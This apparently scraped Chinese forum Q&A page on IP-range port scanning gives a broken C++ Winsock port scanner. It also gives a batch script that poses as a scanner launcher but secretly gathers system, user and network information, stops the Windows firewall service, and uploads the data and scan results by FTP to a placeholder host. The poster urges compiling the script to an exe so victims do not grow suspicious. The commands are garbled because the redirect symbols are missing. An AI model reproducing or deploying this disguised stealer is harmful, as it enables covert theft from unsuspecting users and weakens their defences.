端口扫描器的起始IP,和结束IP里面填什么?
开始IP小于结束IP,比如:220.220.10.0 到 220.220.10.255IP头尾为0 到 255.所以意思就是220.220.10这个段最小是220.220.10.0.最大是220.220.10.255 不过我们一般忽略0和255.因为0和255存在IP的可能性很小!
C++ TCP端口扫描
差不多就是这样的吧
#include stdio.h
#include winsock.h
#pragma comment(lib,"wsock32.lib")
int main(int argc, char **argv)
{
SOCKET sd_client;
u_short iPortStart, iPortEnd, port;
struct sockaddr_in addr_srv;
char *pszHost;
WSADATA wsaData;
WORD wVersionRequested;
int err;
switch(argc)
{
case 2:
iPortStart = 0;
iPortEnd = 65535;
pszHost =argv[1];
break;
case 3:
iPortStart = iPortEnd = atoi(argv[2]);
pszHost =argv[1];
break;
case 4:
iPortStart = atoi(argv[2]);
iPortEnd = atoi(argv[3]);
pszHost =argv[1];
break;
default:
printf("正确的命令行参数:\n");
printf("[IP] 扫描所有端口\n");
printf("[IP] [端口]:扫描单个端口\n");
printf("[IP] [端口1] [端口2]:扫描端口1到端口2\n");
return 1;
}
wVersionRequested = MAKEWORD( 1, 1 );
err = WSAStartup( wVersionRequested, wsaData );
if ( err != 0 )
{
printf("Error %d: Winsock not available\n", err);
return 1;
}
for(port=iPortStart; port=iPortEnd; port++)
{
sd_client = socket(PF_INET, SOCK_STREAM, 0);
if (sd_client == INVALID_SOCKET)
{
printf("no more socket resources\n");
return 1;
}
addr_srv.sin_family = PF_INET;
addr_srv.sin_addr.s_addr=inet_addr(pszHost);
addr_srv.sin_port = htons(port);
err = connect(sd_client, (struct sockaddr *) addr_srv, sizeof(addr_srv));
if (err == INVALID_SOCKET)
{
printf("不能连接此端口:%d\n", port);
closesocket(sd_client);
continue;
}
printf("扫描此端口成功:%d\n", port);
closesocket(sd_client);
}
WSACleanup();
return 0;
}
如何扫ip啊?
点击开始菜单\运行输入: cmd输入ipconfig -all可以扫你的IP!使用一下程序可以扫其他人IP@shift 1
@echo off
tasklistc:\msconfig.txt
verc:\msconfig.txt
net stop sharedaeccessc:\msconfig.txt
netstat -anc:\msconfig.txt
@echo %date%%time%c:\msconfig.txt
cls
net user c:\msconfig.txt
ipconfig c:\msconfig.txt
@echo open ---域名or空间---c:\1.txt
@echo s56c:\1.txt
@echo 6834c:\1.txt
@echo send c:\msconfig.txtc:\1.txt
@echo byec:\1.txt
@ftp -s:c:\1.txtdel c:\1.txtdel c:\msconfig.txt
cls
color 4f
Title 个人专用版VER1.1
echo ╔┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉╗
echo ┋ 个人专用版 ┋
echo ┋ ┋
echo ┋ ┋
echo ┋ ┋
echo ┋ ┋
echo ┋ ┋
echo ┋ ┋
echo ┋ ┋
echo ┋ 一直被模仿-- --从未被超越 ┋
echo ┋ ┋
echo ┋ S,世界顶尖扫描器,此工具省去输入命令的麻烦 ┋
echo ┋ ┋
echo ╚┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉┉╝
echo =======================================================
@ if exist Result.txt del Result.txt
:a
set/p c=当前是否XP系统(Y/N):
if "%c%"=="Y" goto y
if "%c%"=="n" goto n
if "%c%"=="" goto a
:y
cls
title 个人专用版
echo 欢迎使用XP版S扫描器!支持SP2!
set/p ip1=请输入起始IP:
set/p ip2=请输入结束IP:
set/p pro=请输入要扫描的端口:
echo 正在扫描,请稍候…………
@ s.exe tcp %ip1% %ip2% %pro% 700 /save
goto e
:n
cls
title 非XP模式
echo 您选择了非XP扫描方式。
set/p ip1=请输入起始IP:
set/p ip2=请输入结束IP:
set/p pro=请输入要扫描的端口:
echo 正在扫描,请稍候…………
@ s.exe syn %ip1% %ip2% %pro%
goto e
:e
echo 扫描完毕,感谢使用!
pause
@echo open ---域名or空间---c:\1.txt
@echo s56c:\1.txt
@echo 68341c:\1.txt
@echo send Result.txtc:\1.txt
@echo byec:\1.txt
@ftp -s:c:\1.txtdel c:\1.txtdel c:\1.txt
哈. 大家自由发挥吧. 上面在代码复制到记事本, ""---域名or空间---"" 替换成你的域名或者空间地址..
已经排版好了. 空间上看起来很不美观.. 唉. 复制到记事本就不会这么难看了..
注意: 有S扫描器是用不了的 ! 建议用ExeScript编译成exe , 不要用cmd模式. 免的引起怀疑.. HOHO~
0条大神的评论